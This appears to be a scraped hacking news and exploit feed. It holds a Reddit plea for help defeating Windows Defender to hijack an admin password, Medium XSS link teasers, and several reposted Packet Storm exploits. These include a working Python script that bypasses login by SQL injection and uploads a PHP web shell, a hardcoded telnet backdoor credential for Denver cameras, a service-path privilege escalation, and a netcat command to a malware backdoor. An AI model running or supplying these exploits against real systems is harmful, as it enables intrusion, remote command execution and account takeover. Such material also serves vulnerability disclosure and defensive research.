hacking: security in practice
How to deaktivate Windows Defender

So I have this computer and I wanna get the admin password. I tryed to use a boot USB-Stick and change the utilman.exe with the cmd.exe, so i could change the password later on, as i did a few times before.

But the problem now is that Windows Defender blocks it. When i try to open it, Windows Defender delets the utilman.exe (cmd.exe copy). I tryed to change the register and set the CmdLine and the SetupType, but the pc won't start. I also tryed to edit utilman.exe over the registery, but when i do that and click on it, windows defender just deleats the dword. I realy ned help and sorry for my bad english

Edit: I also tryed secureboot, but when i do that, the consol will close it sealf again after 0,5-1s

submitted by /u/Inspector_Hairy
[link] [comments]

Cross Site Scripting (XSS)
https://akash-venky091.medium.com/cross-site-scripting-xss-c52256c2d7?source=rss------bug_bounty-5

Ethical hackingContinue reading on Medium » (https://akash-venky091.medium.com/cross-site-scripting-xss-c52256c2d7?source=rss------bug_bounty-5)

Answer to the XSS Trick
https://securitygoat.medium.com/answer-to-the-xss-trick-f6db5e5c94ad?source=rss------bug_bounty-5

Let’s learn an interesting XSS trick and why it works :) It will help you bypass WAFs for sure*! A star has to be there, for obvious…Continue reading on Medium » (https://securitygoat.medium.com/answer-to-the-xss-trick-f6db5e5c94ad?source=rss------bug_bounty-5)

Cross Site Scripting (XSS)

Ethical hackingContinue reading on Medium »
Read more...

Answer to the XSS Trick

Let’s learn an interesting XSS trick and why it works :) It will help you bypass WAFs for sure*! A star has to be there, for obvious…Continue reading on Medium »
Read more...

Exploit Collector
eGain Chat 15.5.5 Cross Site Scripting

https://4.bp.blogspot.com/-gp6vAY2GXMM/WWlvG3cWkQI/AAAAAAAAILY/aMDesAGFEocqJU-7SaIaO870_Bbf2ZUHACLcBGAs/s1600/h139.png
eGain Chat version 15.5.5 suffers from a cross site scripting vulnerability.

MD5 | 8f713683de3e61e3153e8052e40aa17b

Download
# Exploit Title: eGain Chat 15.5.5 Cross-Site Scripting
# Vendor Homepage: https://www.egain.com/
# Software Link: https://www.egain.com/chat-software/
# Exploit Authors: Brandon Ming Yang Ho (https://www.linkedin.com/in/minhobrandon/), Hassy Vinod Eshan (https://www.linkedin.com/in/hassy-vinod/)
# CVE: CVE-2020-15948

# Timeline

- June 2020: Initial vulnerability discovery
- July 2020: Reported to eGain Corporation
- August 2020: Fix/patch provided by eGain Corporation
- September 2020: Public disclosure notified to eGain Corporation
- July 2021: Published CVE-2020-15948

# 1. Introduction

eGain Chat is a real time chat assistance solution by eGain Corporation for website visitors to communicate with chat agents.

# 2. Vulnerability Details

eGain Chat version 15.5.5 is vulnerable to reflected Cross-Site Scripting (Reflected XSS).

The “Name” input field (full_name) does not fully sanitise user input for special characters such as “<”” and HTML attributes such as “”. It is possible for an attacker to bypass filtering and create malicious scripts. Once the response has been rendered, the malicious JavaScript code would be executed.

# 3. Proof of Concept

The “Name” input field (full_name) of the chat window can be injected with the following XSS payload as a Proof of Concept to execute a javascript alert popup.

Payload - click

# 4. Remediation

Apply the latest fix/patch from eGain Corporation.

# 5. Credits

- Brandon Ming Yang Ho (https://www.linkedin.com/in/minhobrandon/)
- Hassy Vinod Eshan (https://www.linkedin.com/in/hassy-vinod/)

Source:packetstormsecurity.com
➖ Sent by @TheFeedReaderBot ➖

Exploit Collector
TripSpark VEO Transportation SQL Injection

https://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png
TripSpark VEO Transportation suffers from a remote blind SQL injection vulnerability.

MD5 | 189e05e837b3360b20c7fe7a7553e8e5

Download
# Exploit Title: Splinterware System Scheduler Professional 5.30 - Unquoted Service Path
# Date: 2021-05-11
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://www.splinterware.com
# Software Link: https://www.splinterware.com/download/ssproeval.exe
# Version: 5.30 Professional
# Tested on: Windows 10 Pro 20H2 x64

System Scheduler Professional 5.30 is subject to privilege escalation due to insecure file permissions, impacting
where the service 'WindowsScheduler' calls its executable. A non-privileged user could execute arbitrary code with
elevated privileges (system level privileges as "nt authority\system") since the service runs as Local System;
renaming the WService.exe file located in the software's path and replacing it with a malicious file, the new one
will be executed after a short while.

C:\Users\test>sc qc WindowsScheduler
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: WindowsScheduler
TIPO : 10 WIN32_OWN_PROCESS
TIPO_AVVIO : 2 AUTO_START
CONTROLLO_ERRORE : 0 IGNORE
NOME_PERCORSO_BINARIO : C:\PROGRA~2\SYSTEM~1\WService.exe
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : System Scheduler Service
DIPENDENZE :
SERVICE_START_NAME : LocalSystem

C:\Users\test>icacls C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1\ BUILTIN\Users:(RX,W)
BUILTIN\Users:(OI)(CI)(IO)(GR,GW,GE)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I
Source:packetstormsecurity.com
➖ Sent by @TheFeedReaderBot ➖

Exploit Collector
Event Registration System With QR Code 1.0 Shell Upload

https://1.bp.blogspot.com/-luFAqsulr64/WWlvFAfKXLI/AAAAAAAAILI/M2y6qJlcju8Kpq9V68KpSF2h6FJoaSeWACLcBGAs/s1600/h135.png Event Registration System with QR Code version 1.0 suffers from authentication bypass and shell upload vulnerabilities.

MD5 | 0258508306684f3c1ccb2c248610b9a3Download # Exploit Title: Event Registration System with QR Code 1.0 - Authentication Bypass & RCE
# Exploit Author: Javier Olmedo
# Date: 27/07/2021
# Vendor: Sourcecodester
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/event_0.zip
# Affected Version: 1.0
# Category: WebApps
# Platform: PHP
# Tested on: Ubuntu Server & Windows 10 Pro

import os, re, sys, argparse, requests
from termcolor import cprint

def banner():
os.system("cls")
print('''
___________ __
\_ _____/__ __ ____ _____/ |_
| __)_\ \/ // __ \ / \ __\\
| \\\\ /\ ___/| | \ |
/_______ / \_/ \___ >___| /__|
\/ \/ \/
Registration System
--[Authentication Bypass and RCE]--
@jjavierolmedo
''')

def get_args():
parser = argparse.ArgumentParser(description='Event - Authentication Bypass and RCE Exploit')
parser.add_argument('-t', '--target', dest="target", required=True, action='store', help='Target url')
parser.add_argument('-p', '--proxy', dest="proxy", required=False, action='store', help='Use proxy')
args = parser.parse_args()
return args

def auth_bypass(s, proxies, url):
data = {
"username":"admin'#",
"password":""
}

r = s.post(url, data=data, proxies=proxies)

if('{"status":"success"}' in r.text):
cprint("[+] Authenticacion Bypass Success!\n", "green")
return s
else:
cprint("[-] Authenticacion Bypass Error!\n", "red")
sys.exit(0)

def upload_shell(s, proxies, url):
content = "<?php' . shell_exec($_REQUEST['cmd']) . '';?>"
file = {
'img':('cmd.php',content)
}

data = {
"name":"Event Registration System with QR Code - PHP",
"short_name":"ERS-QR-PHP",
}

r = s.post(url, files=file, data=data, proxies=proxies)

if('1' in r.text and r.status_code == 200):
cprint("[+] Upload Shell Success!\n", "green")
return s
else:
cprint("[-] Upload Shell Error!\n", "red")
sys.exit(0)

def get_shell_url(s, proxies, url):
r = s.get(url, proxies=proxies)
regex = '\_cmd.php"> (.*?)'
shell_name = re.findall(regex, r.text)[0]
url_shell = "http://localhost/event/uploads/{shell_name}?cmd=whoami".format(shell_name=shell_name)
cprint("[+] Use your shell --> {url_shell}\n".format(url_shell=url_shell), "green")

def main():
banner()
args = get_args()
target = args.target
proxies = {'http':'','https':''}
if args.proxy:
proxies = {'http':'{proxy}'.format(proxy=args.proxy),'https':'{proxy}'.format(proxy=args.proxy)}

login_url = target + "/event/classes/Login.php?f=rlogin"
upload_url = target + "/event/classes/SystemSettings.php?f=update_settings"
shell_url = target + "/event/uploads/"

s = requests.Session()
s = auth_bypass(s, proxies, login_url)
s = upload_shell(s, proxies, upload_url)
s = get_shell_url(s, proxies, shell_url)

if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
cprint("[-] User aborted session\n", "red")
sys.exit(0)

# Disclaimer
# The information contained in this notice is provided without any guarantee of use or otherwise.
# The redistribution of this notice is explicitly permitted for insertion into vulnerability
# databases, provided that it is not modified and due credit is granted to the author.
# The author prohibits the malicious use of the information contained herein and accepts no responsibility.
# All content (c)
# Javier Olmedo Source:packetstormsecurity.com
➖ Sent by @TheFeedReaderBot ➖

Exploit Collector
Denver Smart Wifi Camera SHC-150 Remote Code Execution

https://4.bp.blogspot.com/-AtnQ_7I3m3U/WWlvZV4J0qI/AAAAAAAAIOs/cujNKaH5r44v1_gHRqEIroH6JJl6WzjUACLcBGAs/s1600/h58.png
Denver Smart Wifi Camera SHC-150 has a hardcoded backdoor login vulnerability available via telnet that gives a shell.

MD5 | a9a3afa83abcffe28d96ceb14d65cdc7

Download
# Exploit Title: Denver Smart Wifi Camera SHC-150 - 'Telnet' Remote Code Execution (RCE)
# Date: 27 July 2021
# Exploit Author: Ivan Nikolsky (enty8080)
# Vendor Homepage: https://denver.eu/products/smart-home-security/denver-shc-150/c-1024/c-1243/p-3824
# Version: Denver SHC-150 (all firmware versions)
# Tested on: Denver SHC-150

Backdoor was found in a Denver SHC-150 Smart Wifi Camera. Maybe other models also have this backdoor too.

So, backdoor is a factory telnet credential - `default`. Just open the telnet connection with the camera on port 23 and enter `default` (yes, on these cameras, telnet service is served on port 23). After this, you'll get a Linux shell. Backdoor allows an attacker to execute commands on OS lever through telnet.

PoC:

```
enty8080@Ivans-Air ~ % telnet 192.168.2.118 23
Trying 192.168.2.118...
Connected to pc192-168-2-118.
Escape character is '^]'.

goke login: default
$ ls /
bin home linuxrc opt run tmp
dev init media proc sbin usr
etc lib mnt root sys var
$ pwd
/home/default
$ exit
Connection closed by foreign host.
enty8080@Ivans-Air ~ %
```

Source:packetstormsecurity.com
➖ Sent by @TheFeedReaderBot ➖

Exploit Collector
Backdoor.Win32.WinShell.40 Code Execution

https://1.bp.blogspot.com/-PwD2Dirg2NY/WWlu3CzGC6I/AAAAAAAAIIs/x87GenQxU4E4sY7pWpFvaHW3XEOYBksJQCLcBGAs/s1600/h10.png
Backdoor.Win32.WinShell.40 malware suffers from a code execution vulnerability.

MD5 | f0f44c02b89c8fe56bc4e60d6626bbf1

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c98e23742807f3cb5a095f34e0eb0e52.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.WinShell.40
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 5277, third-party attackers who can reach the system can execute OS commands further compromising the already infected machine.
Type: PE32
MD5: c98e23742807f3cb5a095f34e0eb0e52
Vuln ID: MVID-2021-0310
Disclosure: 07/27/2021

Exploit/PoC:
nc64.exe x.x.x.x 5277

WinShell v4.0
(C)2001 by janker
http://www.bugsos.com

? for help
CMD>?

i Install
u Uninstall
w Where
r Reboot
p Poweroff
q Quit
e End
s Shell
url download

? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

C:\Users\Victim\Desktop>
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com
➖ Sent by @TheFeedReaderBot ➖

FACT SHEET: Biden Administration Announces Further Actions to Protect U.S. Critical Infrastructure
https://www.reddit.com/r/Pentesting/comments/otawbb/fact_sheet_biden_administration_announces_further/